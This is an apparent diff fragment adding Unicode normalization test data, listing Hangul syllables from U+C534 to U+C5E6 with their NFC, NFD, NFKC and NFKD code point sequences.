+{ source: [0xC534], NFC: [0xC534], NFD: [0x110A, 0x1175, 0x11B3], NFKC: [0xC534], NFKD: [0x110A, 0x1175, 0x11B3] },
+{ source: [0xC535], NFC: [0xC535], NFD: [0x110A, 0x1175, 0x11B4], NFKC: [0xC535], NFKD: [0x110A, 0x1175, 0x11B4] },
+{ source: [0xC536], NFC: [0xC536], NFD: [0x110A, 0x1175, 0x11B5], NFKC: [0xC536], NFKD: [0x110A, 0x1175, 0x11B5] },
+{ source: [0xC537], NFC: [0xC537], NFD: [0x110A, 0x1175, 0x11B6], NFKC: [0xC537], NFKD: [0x110A, 0x1175, 0x11B6] },
+{ source: [0xC538], NFC: [0xC538], NFD: [0x110A, 0x1175, 0x11B7], NFKC: [0xC538], NFKD: [0x110A, 0x1175, 0x11B7] },
+{ source: [0xC539], NFC: [0xC539], NFD: [0x110A, 0x1175, 0x11B8], NFKC: [0xC539], NFKD: [0x110A, 0x1175, 0x11B8] },
+{ source: [0xC53A], NFC: [0xC53A], NFD: [0x110A, 0x1175, 0x11B9], NFKC: [0xC53A], NFKD: [0x110A, 0x1175, 0x11B9] },
+{ source: [0xC53B], NFC: [0xC53B], NFD: [0x110A, 0x1175, 0x11BA], NFKC: [0xC53B], NFKD: [0x110A, 0x1175, 0x11BA] },
+{ source: [0xC53C], NFC: [0xC53C], NFD: [0x110A, 0x1175, 0x11BB], NFKC: [0xC53C], NFKD: [0x110A, 0x1175, 0x11BB] },
+{ source: [0xC53D], NFC: [0xC53D], NFD: [0x110A, 0x1175, 0x11BC], NFKC: [0xC53D], NFKD: [0x110A, 0x1175, 0x11BC] },
+{ source: [0xC53E], NFC: [0xC53E], NFD: [0x110A, 0x1175, 0x11BD], NFKC: [0xC53E], NFKD: [0x110A, 0x1175, 0x11BD] },
+{ source: [0xC53F], NFC: [0xC53F], NFD: [0x110A, 0x1175, 0x11BE], NFKC: [0xC53F], NFKD: [0x110A, 0x1175, 0x11BE] },
+{ source: [0xC540], NFC: [0xC540], NFD: [0x110A, 0x1175, 0x11BF], NFKC: [0xC540], NFKD: [0x110A, 0x1175, 0x11BF] },
+{ source: [0xC541], NFC: [0xC541], NFD: [0x110A, 0x1175, 0x11C0], NFKC: [0xC541], NFKD: [0x110A, 0x1175, 0x11C0] },
+{ source: [0xC542], NFC: [0xC542], NFD: [0x110A, 0x1175, 0x11C1], NFKC: [0xC542], NFKD: [0x110A, 0x1175, 0x11C1] },
+{ source: [0xC543], NFC: [0xC543], NFD: [0x110A, 0x1175, 0x11C2], NFKC: [0xC543], NFKD: [0x110A, 0x1175, 0x11C2] },
+{ source: [0xC544], NFC: [0xC544], NFD: [0x110B, 0x1161], NFKC: [0xC544], NFKD: [0x110B, 0x1161] },
+{ source: [0xC545], NFC: [0xC545], NFD: [0x110B, 0x1161, 0x11A8], NFKC: [0xC545], NFKD: [0x110B, 0x1161, 0x11A8] },
+{ source: [0xC546], NFC: [0xC546], NFD: [0x110B, 0x1161, 0x11A9], NFKC: [0xC546], NFKD: [0x110B, 0x1161, 0x11A9] },
+{ source: [0xC547], NFC: [0xC547], NFD: [0x110B, 0x1161, 0x11AA], NFKC: [0xC547], NFKD: [0x110B, 0x1161, 0x11AA] },
+{ source: [0xC548], NFC: [0xC548], NFD: [0x110B, 0x1161, 0x11AB], NFKC: [0xC548], NFKD: [0x110B, 0x1161, 0x11AB] },
+{ source: [0xC549], NFC: [0xC549], NFD: [0x110B, 0x1161, 0x11AC], NFKC: [0xC549], NFKD: [0x110B, 0x1161, 0x11AC] },
+{ source: [0xC54A], NFC: [0xC54A], NFD: [0x110B, 0x1161, 0x11AD], NFKC: [0xC54A], NFKD: [0x110B, 0x1161, 0x11AD] },
+{ source: [0xC54B], NFC: [0xC54B], NFD: [0x110B, 0x1161, 0x11AE], NFKC: [0xC54B], NFKD: [0x110B, 0x1161, 0x11AE] },
+{ source: [0xC54C], NFC: [0xC54C], NFD: [0x110B, 0x1161, 0x11AF], NFKC: [0xC54C], NFKD: [0x110B, 0x1161, 0x11AF] },
+{ source: [0xC54D], NFC: [0xC54D], NFD: [0x110B, 0x1161, 0x11B0], NFKC: [0xC54D], NFKD: [0x110B, 0x1161, 0x11B0] },
+{ source: [0xC54E], NFC: [0xC54E], NFD: [0x110B, 0x1161, 0x11B1], NFKC: [0xC54E], NFKD: [0x110B, 0x1161, 0x11B1] },
+{ source: [0xC54F], NFC: [0xC54F], NFD: [0x110B, 0x1161, 0x11B2], NFKC: [0xC54F], NFKD: [0x110B, 0x1161, 0x11B2] },
+{ source: [0xC550], NFC: [0xC550], NFD: [0x110B, 0x1161, 0x11B3], NFKC: [0xC550], NFKD: [0x110B, 0x1161, 0x11B3] },
+{ source: [0xC551], NFC: [0xC551], NFD: [0x110B, 0x1161, 0x11B4], NFKC: [0xC551], NFKD: [0x110B, 0x1161, 0x11B4] },
+{ source: [0xC552], NFC: [0xC552], NFD: [0x110B, 0x1161, 0x11B5], NFKC: [0xC552], NFKD: [0x110B, 0x1161, 0x11B5] },
+{ source: [0xC553], NFC: [0xC553], NFD: [0x110B, 0x1161, 0x11B6], NFKC: [0xC553], NFKD: [0x110B, 0x1161, 0x11B6] },
+{ source: [0xC554], NFC: [0xC554], NFD: [0x110B, 0x1161, 0x11B7], NFKC: [0xC554], NFKD: [0x110B, 0x1161, 0x11B7] },
+{ source: [0xC555], NFC: [0xC555], NFD: [0x110B, 0x1161, 0x11B8], NFKC: [0xC555], NFKD: [0x110B, 0x1161, 0x11B8] },
+{ source: [0xC556], NFC: [0xC556], NFD: [0x110B, 0x1161, 0x11B9], NFKC: [0xC556], NFKD: [0x110B, 0x1161, 0x11B9] },
+{ source: [0xC557], NFC: [0xC557], NFD: [0x110B, 0x1161, 0x11BA], NFKC: [0xC557], NFKD: [0x110B, 0x1161, 0x11BA] },
+{ source: [0xC558], NFC: [0xC558], NFD: [0x110B, 0x1161, 0x11BB], NFKC: [0xC558], NFKD: [0x110B, 0x1161, 0x11BB] },
+{ source: [0xC559], NFC: [0xC559], NFD: [0x110B, 0x1161, 0x11BC], NFKC: [0xC559], NFKD: [0x110B, 0x1161, 0x11BC] },
+{ source: [0xC55A], NFC: [0xC55A], NFD: [0x110B, 0x1161, 0x11BD], NFKC: [0xC55A], NFKD: [0x110B, 0x1161, 0x11BD] },
+{ source: [0xC55B], NFC: [0xC55B], NFD: [0x110B, 0x1161, 0x11BE], NFKC: [0xC55B], NFKD: [0x110B, 0x1161, 0x11BE] },
+{ source: [0xC55C], NFC: [0xC55C], NFD: [0x110B, 0x1161, 0x11BF], NFKC: [0xC55C], NFKD: [0x110B, 0x1161, 0x11BF] },
+{ source: [0xC55D], NFC: [0xC55D], NFD: [0x110B, 0x1161, 0x11C0], NFKC: [0xC55D], NFKD: [0x110B, 0x1161, 0x11C0] },
+{ source: [0xC55E], NFC: [0xC55E], NFD: [0x110B, 0x1161, 0x11C1], NFKC: [0xC55E], NFKD: [0x110B, 0x1161, 0x11C1] },
+{ source: [0xC55F], NFC: [0xC55F], NFD: [0x110B, 0x1161, 0x11C2], NFKC: [0xC55F], NFKD: [0x110B, 0x1161, 0x11C2] },
+{ source: [0xC560], NFC: [0xC560], NFD: [0x110B, 0x1162], NFKC: [0xC560], NFKD: [0x110B, 0x1162] },
+{ source: [0xC561], NFC: [0xC561], NFD: [0x110B, 0x1162, 0x11A8], NFKC: [0xC561], NFKD: [0x110B, 0x1162, 0x11A8] },
+{ source: [0xC562], NFC: [0xC562], NFD: [0x110B, 0x1162, 0x11A9], NFKC: [0xC562], NFKD: [0x110B, 0x1162, 0x11A9] },
+{ source: [0xC563], NFC: [0xC563], NFD: [0x110B, 0x1162, 0x11AA], NFKC: [0xC563], NFKD: [0x110B, 0x1162, 0x11AA] },
+{ source: [0xC564], NFC: [0xC564], NFD: [0x110B, 0x1162, 0x11AB], NFKC: [0xC564], NFKD: [0x110B, 0x1162, 0x11AB] },
+{ source: [0xC565], NFC: [0xC565], NFD: [0x110B, 0x1162, 0x11AC], NFKC: [0xC565], NFKD: [0x110B, 0x1162, 0x11AC] },
+{ source: [0xC566], NFC: [0xC566], NFD: [0x110B, 0x1162, 0x11AD], NFKC: [0xC566], NFKD: [0x110B, 0x1162, 0x11AD] },
+{ source: [0xC567], NFC: [0xC567], NFD: [0x110B, 0x1162, 0x11AE], NFKC: [0xC567], NFKD: [0x110B, 0x1162, 0x11AE] },
+{ source: [0xC568], NFC: [0xC568], NFD: [0x110B, 0x1162, 0x11AF], NFKC: [0xC568], NFKD: [0x110B, 0x1162, 0x11AF] },
+{ source: [0xC569], NFC: [0xC569], NFD: [0x110B, 0x1162, 0x11B0], NFKC: [0xC569], NFKD: [0x110B, 0x1162, 0x11B0] },
+{ source: [0xC56A], NFC: [0xC56A], NFD: [0x110B, 0x1162, 0x11B1], NFKC: [0xC56A], NFKD: [0x110B, 0x1162, 0x11B1] },
+{ source: [0xC56B], NFC: [0xC56B], NFD: [0x110B, 0x1162, 0x11B2], NFKC: [0xC56B], NFKD: [0x110B, 0x1162, 0x11B2] },
+{ source: [0xC56C], NFC: [0xC56C], NFD: [0x110B, 0x1162, 0x11B3], NFKC: [0xC56C], NFKD: [0x110B, 0x1162, 0x11B3] },
+{ source: [0xC56D], NFC: [0xC56D], NFD: [0x110B, 0x1162, 0x11B4], NFKC: [0xC56D], NFKD: [0x110B, 0x1162, 0x11B4] },
+{ source: [0xC56E], NFC: [0xC56E], NFD: [0x110B, 0x1162, 0x11B5], NFKC: [0xC56E], NFKD: [0x110B, 0x1162, 0x11B5] },
+{ source: [0xC56F], NFC: [0xC56F], NFD: [0x110B, 0x1162, 0x11B6], NFKC: [0xC56F], NFKD: [0x110B, 0x1162, 0x11B6] },
+{ source: [0xC570], NFC: [0xC570], NFD: [0x110B, 0x1162, 0x11B7], NFKC: [0xC570], NFKD: [0x110B, 0x1162, 0x11B7] },
+{ source: [0xC571], NFC: [0xC571], NFD: [0x110B, 0x1162, 0x11B8], NFKC: [0xC571], NFKD: [0x110B, 0x1162, 0x11B8] },
+{ source: [0xC572], NFC: [0xC572], NFD: [0x110B, 0x1162, 0x11B9], NFKC: [0xC572], NFKD: [0x110B, 0x1162, 0x11B9] },
+{ source: [0xC573], NFC: [0xC573], NFD: [0x110B, 0x1162, 0x11BA], NFKC: [0xC573], NFKD: [0x110B, 0x1162, 0x11BA] },
+{ source: [0xC574], NFC: [0xC574], NFD: [0x110B, 0x1162, 0x11BB], NFKC: [0xC574], NFKD: [0x110B, 0x1162, 0x11BB] },
+{ source: [0xC575], NFC: [0xC575], NFD: [0x110B, 0x1162, 0x11BC], NFKC: [0xC575], NFKD: [0x110B, 0x1162, 0x11BC] },
+{ source: [0xC576], NFC: [0xC576], NFD: [0x110B, 0x1162, 0x11BD], NFKC: [0xC576], NFKD: [0x110B, 0x1162, 0x11BD] },
+{ source: [0xC577], NFC: [0xC577], NFD: [0x110B, 0x1162, 0x11BE], NFKC: [0xC577], NFKD: [0x110B, 0x1162, 0x11BE] },
+{ source: [0xC578], NFC: [0xC578], NFD: [0x110B, 0x1162, 0x11BF], NFKC: [0xC578], NFKD: [0x110B, 0x1162, 0x11BF] },
+{ source: [0xC579], NFC: [0xC579], NFD: [0x110B, 0x1162, 0x11C0], NFKC: [0xC579], NFKD: [0x110B, 0x1162, 0x11C0] },
+{ source: [0xC57A], NFC: [0xC57A], NFD: [0x110B, 0x1162, 0x11C1], NFKC: [0xC57A], NFKD: [0x110B, 0x1162, 0x11C1] },
+{ source: [0xC57B], NFC: [0xC57B], NFD: [0x110B, 0x1162, 0x11C2], NFKC: [0xC57B], NFKD: [0x110B, 0x1162, 0x11C2] },
+{ source: [0xC57C], NFC: [0xC57C], NFD: [0x110B, 0x1163], NFKC: [0xC57C], NFKD: [0x110B, 0x1163] },
+{ source: [0xC57D], NFC: [0xC57D], NFD: [0x110B, 0x1163, 0x11A8], NFKC: [0xC57D], NFKD: [0x110B, 0x1163, 0x11A8] },
+{ source: [0xC57E], NFC: [0xC57E], NFD: [0x110B, 0x1163, 0x11A9], NFKC: [0xC57E], NFKD: [0x110B, 0x1163, 0x11A9] },
+{ source: [0xC57F], NFC: [0xC57F], NFD: [0x110B, 0x1163, 0x11AA], NFKC: [0xC57F], NFKD: [0x110B, 0x1163, 0x11AA] },
+{ source: [0xC580], NFC: [0xC580], NFD: [0x110B, 0x1163, 0x11AB], NFKC: [0xC580], NFKD: [0x110B, 0x1163, 0x11AB] },
+{ source: [0xC581], NFC: [0xC581], NFD: [0x110B, 0x1163, 0x11AC], NFKC: [0xC581], NFKD: [0x110B, 0x1163, 0x11AC] },
+{ source: [0xC582], NFC: [0xC582], NFD: [0x110B, 0x1163, 0x11AD], NFKC: [0xC582], NFKD: [0x110B, 0x1163, 0x11AD] },
+{ source: [0xC583], NFC: [0xC583], NFD: [0x110B, 0x1163, 0x11AE], NFKC: [0xC583], NFKD: [0x110B, 0x1163, 0x11AE] },
+{ source: [0xC584], NFC: [0xC584], NFD: [0x110B, 0x1163, 0x11AF], NFKC: [0xC584], NFKD: [0x110B, 0x1163, 0x11AF] },
+{ source: [0xC585], NFC: [0xC585], NFD: [0x110B, 0x1163, 0x11B0], NFKC: [0xC585], NFKD: [0x110B, 0x1163, 0x11B0] },
+{ source: [0xC586], NFC: [0xC586], NFD: [0x110B, 0x1163, 0x11B1], NFKC: [0xC586], NFKD: [0x110B, 0x1163, 0x11B1] },
+{ source: [0xC587], NFC: [0xC587], NFD: [0x110B, 0x1163, 0x11B2], NFKC: [0xC587], NFKD: [0x110B, 0x1163, 0x11B2] },
+{ source: [0xC588], NFC: [0xC588], NFD: [0x110B, 0x1163, 0x11B3], NFKC: [0xC588], NFKD: [0x110B, 0x1163, 0x11B3] },
+{ source: [0xC589], NFC: [0xC589], NFD: [0x110B, 0x1163, 0x11B4], NFKC: [0xC589], NFKD: [0x110B, 0x1163, 0x11B4] },
+{ source: [0xC58A], NFC: [0xC58A], NFD: [0x110B, 0x1163, 0x11B5], NFKC: [0xC58A], NFKD: [0x110B, 0x1163, 0x11B5] },
+{ source: [0xC58B], NFC: [0xC58B], NFD: [0x110B, 0x1163, 0x11B6], NFKC: [0xC58B], NFKD: [0x110B, 0x1163, 0x11B6] },
+{ source: [0xC58C], NFC: [0xC58C], NFD: [0x110B, 0x1163, 0x11B7], NFKC: [0xC58C], NFKD: [0x110B, 0x1163, 0x11B7] },
+{ source: [0xC58D], NFC: [0xC58D], NFD: [0x110B, 0x1163, 0x11B8], NFKC: [0xC58D], NFKD: [0x110B, 0x1163, 0x11B8] },
+{ source: [0xC58E], NFC: [0xC58E], NFD: [0x110B, 0x1163, 0x11B9], NFKC: [0xC58E], NFKD: [0x110B, 0x1163, 0x11B9] },
+{ source: [0xC58F], NFC: [0xC58F], NFD: [0x110B, 0x1163, 0x11BA], NFKC: [0xC58F], NFKD: [0x110B, 0x1163, 0x11BA] },
+{ source: [0xC590], NFC: [0xC590], NFD: [0x110B, 0x1163, 0x11BB], NFKC: [0xC590], NFKD: [0x110B, 0x1163, 0x11BB] },
+{ source: [0xC591], NFC: [0xC591], NFD: [0x110B, 0x1163, 0x11BC], NFKC: [0xC591], NFKD: [0x110B, 0x1163, 0x11BC] },
+{ source: [0xC592], NFC: [0xC592], NFD: [0x110B, 0x1163, 0x11BD], NFKC: [0xC592], NFKD: [0x110B, 0x1163, 0x11BD] },
+{ source: [0xC593], NFC: [0xC593], NFD: [0x110B, 0x1163, 0x11BE], NFKC: [0xC593], NFKD: [0x110B, 0x1163, 0x11BE] },
+{ source: [0xC594], NFC: [0xC594], NFD: [0x110B, 0x1163, 0x11BF], NFKC: [0xC594], NFKD: [0x110B, 0x1163, 0x11BF] },
+{ source: [0xC595], NFC: [0xC595], NFD: [0x110B, 0x1163, 0x11C0], NFKC: [0xC595], NFKD: [0x110B, 0x1163, 0x11C0] },
+{ source: [0xC596], NFC: [0xC596], NFD: [0x110B, 0x1163, 0x11C1], NFKC: [0xC596], NFKD: [0x110B, 0x1163, 0x11C1] },
+{ source: [0xC597], NFC: [0xC597], NFD: [0x110B, 0x1163, 0x11C2], NFKC: [0xC597], NFKD: [0x110B, 0x1163, 0x11C2] },
+{ source: [0xC598], NFC: [0xC598], NFD: [0x110B, 0x1164], NFKC: [0xC598], NFKD: [0x110B, 0x1164] },
+{ source: [0xC599], NFC: [0xC599], NFD: [0x110B, 0x1164, 0x11A8], NFKC: [0xC599], NFKD: [0x110B, 0x1164, 0x11A8] },
+{ source: [0xC59A], NFC: [0xC59A], NFD: [0x110B, 0x1164, 0x11A9], NFKC: [0xC59A], NFKD: [0x110B, 0x1164, 0x11A9] },
+{ source: [0xC59B], NFC: [0xC59B], NFD: [0x110B, 0x1164, 0x11AA], NFKC: [0xC59B], NFKD: [0x110B, 0x1164, 0x11AA] },
+{ source: [0xC59C], NFC: [0xC59C], NFD: [0x110B, 0x1164, 0x11AB], NFKC: [0xC59C], NFKD: [0x110B, 0x1164, 0x11AB] },
+{ source: [0xC59D], NFC: [0xC59D], NFD: [0x110B, 0x1164, 0x11AC], NFKC: [0xC59D], NFKD: [0x110B, 0x1164, 0x11AC] },
+{ source: [0xC59E], NFC: [0xC59E], NFD: [0x110B, 0x1164, 0x11AD], NFKC: [0xC59E], NFKD: [0x110B, 0x1164, 0x11AD] },
+{ source: [0xC59F], NFC: [0xC59F], NFD: [0x110B, 0x1164, 0x11AE], NFKC: [0xC59F], NFKD: [0x110B, 0x1164, 0x11AE] },
+{ source: [0xC5A0], NFC: [0xC5A0], NFD: [0x110B, 0x1164, 0x11AF], NFKC: [0xC5A0], NFKD: [0x110B, 0x1164, 0x11AF] },
+{ source: [0xC5A1], NFC: [0xC5A1], NFD: [0x110B, 0x1164, 0x11B0], NFKC: [0xC5A1], NFKD: [0x110B, 0x1164, 0x11B0] },
+{ source: [0xC5A2], NFC: [0xC5A2], NFD: [0x110B, 0x1164, 0x11B1], NFKC: [0xC5A2], NFKD: [0x110B, 0x1164, 0x11B1] },
+{ source: [0xC5A3], NFC: [0xC5A3], NFD: [0x110B, 0x1164, 0x11B2], NFKC: [0xC5A3], NFKD: [0x110B, 0x1164, 0x11B2] },
+{ source: [0xC5A4], NFC: [0xC5A4], NFD: [0x110B, 0x1164, 0x11B3], NFKC: [0xC5A4], NFKD: [0x110B, 0x1164, 0x11B3] },
+{ source: [0xC5A5], NFC: [0xC5A5], NFD: [0x110B, 0x1164, 0x11B4], NFKC: [0xC5A5], NFKD: [0x110B, 0x1164, 0x11B4] },
+{ source: [0xC5A6], NFC: [0xC5A6], NFD: [0x110B, 0x1164, 0x11B5], NFKC: [0xC5A6], NFKD: [0x110B, 0x1164, 0x11B5] },
+{ source: [0xC5A7], NFC: [0xC5A7], NFD: [0x110B, 0x1164, 0x11B6], NFKC: [0xC5A7], NFKD: [0x110B, 0x1164, 0x11B6] },
+{ source: [0xC5A8], NFC: [0xC5A8], NFD: [0x110B, 0x1164, 0x11B7], NFKC: [0xC5A8], NFKD: [0x110B, 0x1164, 0x11B7] },
+{ source: [0xC5A9], NFC: [0xC5A9], NFD: [0x110B, 0x1164, 0x11B8], NFKC: [0xC5A9], NFKD: [0x110B, 0x1164, 0x11B8] },
+{ source: [0xC5AA], NFC: [0xC5AA], NFD: [0x110B, 0x1164, 0x11B9], NFKC: [0xC5AA], NFKD: [0x110B, 0x1164, 0x11B9] },
+{ source: [0xC5AB], NFC: [0xC5AB], NFD: [0x110B, 0x1164, 0x11BA], NFKC: [0xC5AB], NFKD: [0x110B, 0x1164, 0x11BA] },
+{ source: [0xC5AC], NFC: [0xC5AC], NFD: [0x110B, 0x1164, 0x11BB], NFKC: [0xC5AC], NFKD: [0x110B, 0x1164, 0x11BB] },
+{ source: [0xC5AD], NFC: [0xC5AD], NFD: [0x110B, 0x1164, 0x11BC], NFKC: [0xC5AD], NFKD: [0x110B, 0x1164, 0x11BC] },
+{ source: [0xC5AE], NFC: [0xC5AE], NFD: [0x110B, 0x1164, 0x11BD], NFKC: [0xC5AE], NFKD: [0x110B, 0x1164, 0x11BD] },
+{ source: [0xC5AF], NFC: [0xC5AF], NFD: [0x110B, 0x1164, 0x11BE], NFKC: [0xC5AF], NFKD: [0x110B, 0x1164, 0x11BE] },
+{ source: [0xC5B0], NFC: [0xC5B0], NFD: [0x110B, 0x1164, 0x11BF], NFKC: [0xC5B0], NFKD: [0x110B, 0x1164, 0x11BF] },
+{ source: [0xC5B1], NFC: [0xC5B1], NFD: [0x110B, 0x1164, 0x11C0], NFKC: [0xC5B1], NFKD: [0x110B, 0x1164, 0x11C0] },
+{ source: [0xC5B2], NFC: [0xC5B2], NFD: [0x110B, 0x1164, 0x11C1], NFKC: [0xC5B2], NFKD: [0x110B, 0x1164, 0x11C1] },
+{ source: [0xC5B3], NFC: [0xC5B3], NFD: [0x110B, 0x1164, 0x11C2], NFKC: [0xC5B3], NFKD: [0x110B, 0x1164, 0x11C2] },
+{ source: [0xC5B4], NFC: [0xC5B4], NFD: [0x110B, 0x1165], NFKC: [0xC5B4], NFKD: [0x110B, 0x1165] },
+{ source: [0xC5B5], NFC: [0xC5B5], NFD: [0x110B, 0x1165, 0x11A8], NFKC: [0xC5B5], NFKD: [0x110B, 0x1165, 0x11A8] },
+{ source: [0xC5B6], NFC: [0xC5B6], NFD: [0x110B, 0x1165, 0x11A9], NFKC: [0xC5B6], NFKD: [0x110B, 0x1165, 0x11A9] },
+{ source: [0xC5B7], NFC: [0xC5B7], NFD: [0x110B, 0x1165, 0x11AA], NFKC: [0xC5B7], NFKD: [0x110B, 0x1165, 0x11AA] },
+{ source: [0xC5B8], NFC: [0xC5B8], NFD: [0x110B, 0x1165, 0x11AB], NFKC: [0xC5B8], NFKD: [0x110B, 0x1165, 0x11AB] },
+{ source: [0xC5B9], NFC: [0xC5B9], NFD: [0x110B, 0x1165, 0x11AC], NFKC: [0xC5B9], NFKD: [0x110B, 0x1165, 0x11AC] },
+{ source: [0xC5BA], NFC: [0xC5BA], NFD: [0x110B, 0x1165, 0x11AD], NFKC: [0xC5BA], NFKD: [0x110B, 0x1165, 0x11AD] },
+{ source: [0xC5BB], NFC: [0xC5BB], NFD: [0x110B, 0x1165, 0x11AE], NFKC: [0xC5BB], NFKD: [0x110B, 0x1165, 0x11AE] },
+{ source: [0xC5BC], NFC: [0xC5BC], NFD: [0x110B, 0x1165, 0x11AF], NFKC: [0xC5BC], NFKD: [0x110B, 0x1165, 0x11AF] },
+{ source: [0xC5BD], NFC: [0xC5BD], NFD: [0x110B, 0x1165, 0x11B0], NFKC: [0xC5BD], NFKD: [0x110B, 0x1165, 0x11B0] },
+{ source: [0xC5BE], NFC: [0xC5BE], NFD: [0x110B, 0x1165, 0x11B1], NFKC: [0xC5BE], NFKD: [0x110B, 0x1165, 0x11B1] },
+{ source: [0xC5BF], NFC: [0xC5BF], NFD: [0x110B, 0x1165, 0x11B2], NFKC: [0xC5BF], NFKD: [0x110B, 0x1165, 0x11B2] },
+{ source: [0xC5C0], NFC: [0xC5C0], NFD: [0x110B, 0x1165, 0x11B3], NFKC: [0xC5C0], NFKD: [0x110B, 0x1165, 0x11B3] },
+{ source: [0xC5C1], NFC: [0xC5C1], NFD: [0x110B, 0x1165, 0x11B4], NFKC: [0xC5C1], NFKD: [0x110B, 0x1165, 0x11B4] },
+{ source: [0xC5C2], NFC: [0xC5C2], NFD: [0x110B, 0x1165, 0x11B5], NFKC: [0xC5C2], NFKD: [0x110B, 0x1165, 0x11B5] },
+{ source: [0xC5C3], NFC: [0xC5C3], NFD: [0x110B, 0x1165, 0x11B6], NFKC: [0xC5C3], NFKD: [0x110B, 0x1165, 0x11B6] },
+{ source: [0xC5C4], NFC: [0xC5C4], NFD: [0x110B, 0x1165, 0x11B7], NFKC: [0xC5C4], NFKD: [0x110B, 0x1165, 0x11B7] },
+{ source: [0xC5C5], NFC: [0xC5C5], NFD: [0x110B, 0x1165, 0x11B8], NFKC: [0xC5C5], NFKD: [0x110B, 0x1165, 0x11B8] },
+{ source: [0xC5C6], NFC: [0xC5C6], NFD: [0x110B, 0x1165, 0x11B9], NFKC: [0xC5C6], NFKD: [0x110B, 0x1165, 0x11B9] },
+{ source: [0xC5C7], NFC: [0xC5C7], NFD: [0x110B, 0x1165, 0x11BA], NFKC: [0xC5C7], NFKD: [0x110B, 0x1165, 0x11BA] },
+{ source: [0xC5C8], NFC: [0xC5C8], NFD: [0x110B, 0x1165, 0x11BB], NFKC: [0xC5C8], NFKD: [0x110B, 0x1165, 0x11BB] },
+{ source: [0xC5C9], NFC: [0xC5C9], NFD: [0x110B, 0x1165, 0x11BC], NFKC: [0xC5C9], NFKD: [0x110B, 0x1165, 0x11BC] },
+{ source: [0xC5CA], NFC: [0xC5CA], NFD: [0x110B, 0x1165, 0x11BD], NFKC: [0xC5CA], NFKD: [0x110B, 0x1165, 0x11BD] },
+{ source: [0xC5CB], NFC: [0xC5CB], NFD: [0x110B, 0x1165, 0x11BE], NFKC: [0xC5CB], NFKD: [0x110B, 0x1165, 0x11BE] },
+{ source: [0xC5CC], NFC: [0xC5CC], NFD: [0x110B, 0x1165, 0x11BF], NFKC: [0xC5CC], NFKD: [0x110B, 0x1165, 0x11BF] },
+{ source: [0xC5CD], NFC: [0xC5CD], NFD: [0x110B, 0x1165, 0x11C0], NFKC: [0xC5CD], NFKD: [0x110B, 0x1165, 0x11C0] },
+{ source: [0xC5CE], NFC: [0xC5CE], NFD: [0x110B, 0x1165, 0x11C1], NFKC: [0xC5CE], NFKD: [0x110B, 0x1165, 0x11C1] },
+{ source: [0xC5CF], NFC: [0xC5CF], NFD: [0x110B, 0x1165, 0x11C2], NFKC: [0xC5CF], NFKD: [0x110B, 0x1165, 0x11C2] },
+{ source: [0xC5D0], NFC: [0xC5D0], NFD: [0x110B, 0x1166], NFKC: [0xC5D0], NFKD: [0x110B, 0x1166] },
+{ source: [0xC5D1], NFC: [0xC5D1], NFD: [0x110B, 0x1166, 0x11A8], NFKC: [0xC5D1], NFKD: [0x110B, 0x1166, 0x11A8] },
+{ source: [0xC5D2], NFC: [0xC5D2], NFD: [0x110B, 0x1166, 0x11A9], NFKC: [0xC5D2], NFKD: [0x110B, 0x1166, 0x11A9] },
+{ source: [0xC5D3], NFC: [0xC5D3], NFD: [0x110B, 0x1166, 0x11AA], NFKC: [0xC5D3], NFKD: [0x110B, 0x1166, 0x11AA] },
+{ source: [0xC5D4], NFC: [0xC5D4], NFD: [0x110B, 0x1166, 0x11AB], NFKC: [0xC5D4], NFKD: [0x110B, 0x1166, 0x11AB] },
+{ source: [0xC5D5], NFC: [0xC5D5], NFD: [0x110B, 0x1166, 0x11AC], NFKC: [0xC5D5], NFKD: [0x110B, 0x1166, 0x11AC] },
+{ source: [0xC5D6], NFC: [0xC5D6], NFD: [0x110B, 0x1166, 0x11AD], NFKC: [0xC5D6], NFKD: [0x110B, 0x1166, 0x11AD] },
+{ source: [0xC5D7], NFC: [0xC5D7], NFD: [0x110B, 0x1166, 0x11AE], NFKC: [0xC5D7], NFKD: [0x110B, 0x1166, 0x11AE] },
+{ source: [0xC5D8], NFC: [0xC5D8], NFD: [0x110B, 0x1166, 0x11AF], NFKC: [0xC5D8], NFKD: [0x110B, 0x1166, 0x11AF] },
+{ source: [0xC5D9], NFC: [0xC5D9], NFD: [0x110B, 0x1166, 0x11B0], NFKC: [0xC5D9], NFKD: [0x110B, 0x1166, 0x11B0] },
+{ source: [0xC5DA], NFC: [0xC5DA], NFD: [0x110B, 0x1166, 0x11B1], NFKC: [0xC5DA], NFKD: [0x110B, 0x1166, 0x11B1] },
+{ source: [0xC5DB], NFC: [0xC5DB], NFD: [0x110B, 0x1166, 0x11B2], NFKC: [0xC5DB], NFKD: [0x110B, 0x1166, 0x11B2] },
+{ source: [0xC5DC], NFC: [0xC5DC], NFD: [0x110B, 0x1166, 0x11B3], NFKC: [0xC5DC], NFKD: [0x110B, 0x1166, 0x11B3] },
+{ source: [0xC5DD], NFC: [0xC5DD], NFD: [0x110B, 0x1166, 0x11B4], NFKC: [0xC5DD], NFKD: [0x110B, 0x1166, 0x11B4] },
+{ source: [0xC5DE], NFC: [0xC5DE], NFD: [0x110B, 0x1166, 0x11B5], NFKC: [0xC5DE], NFKD: [0x110B, 0x1166, 0x11B5] },
+{ source: [0xC5DF], NFC: [0xC5DF], NFD: [0x110B, 0x1166, 0x11B6], NFKC: [0xC5DF], NFKD: [0x110B, 0x1166, 0x11B6] },
+{ source: [0xC5E0], NFC: [0xC5E0], NFD: [0x110B, 0x1166, 0x11B7], NFKC: [0xC5E0], NFKD: [0x110B, 0x1166, 0x11B7] },
+{ source: [0xC5E1], NFC: [0xC5E1], NFD: [0x110B, 0x1166, 0x11B8], NFKC: [0xC5E1], NFKD: [0x110B, 0x1166, 0x11B8] },
+{ source: [0xC5E2], NFC: [0xC5E2], NFD: [0x110B, 0x1166, 0x11B9], NFKC: [0xC5E2], NFKD: [0x110B, 0x1166, 0x11B9] },
+{ source: [0xC5E3], NFC: [0xC5E3], NFD: [0x110B, 0x1166, 0x11BA], NFKC: [0xC5E3], NFKD: [0x110B, 0x1166, 0x11BA] },
+{ source: [0xC5E4], NFC: [0xC5E4], NFD: [0x110B, 0x1166, 0x11BB], NFKC: [0xC5E4], NFKD: [0x110B, 0x1166, 0x11BB] },
+{ source: [0xC5E5], NFC: [0xC5E5], NFD: [0x110B, 0x1166, 0x11BC], NFKC: [0xC5E5], NFKD: [0x110B, 0x1166, 0x11BC] },
+{ source: [0xC5E6], NFC: [0xC5E6], NFD: [0x110B, 0x1166, 0x11BD], NFKC: [0xC5E6], NFKD: [0x110B, 0x1166, 0x11BD] },
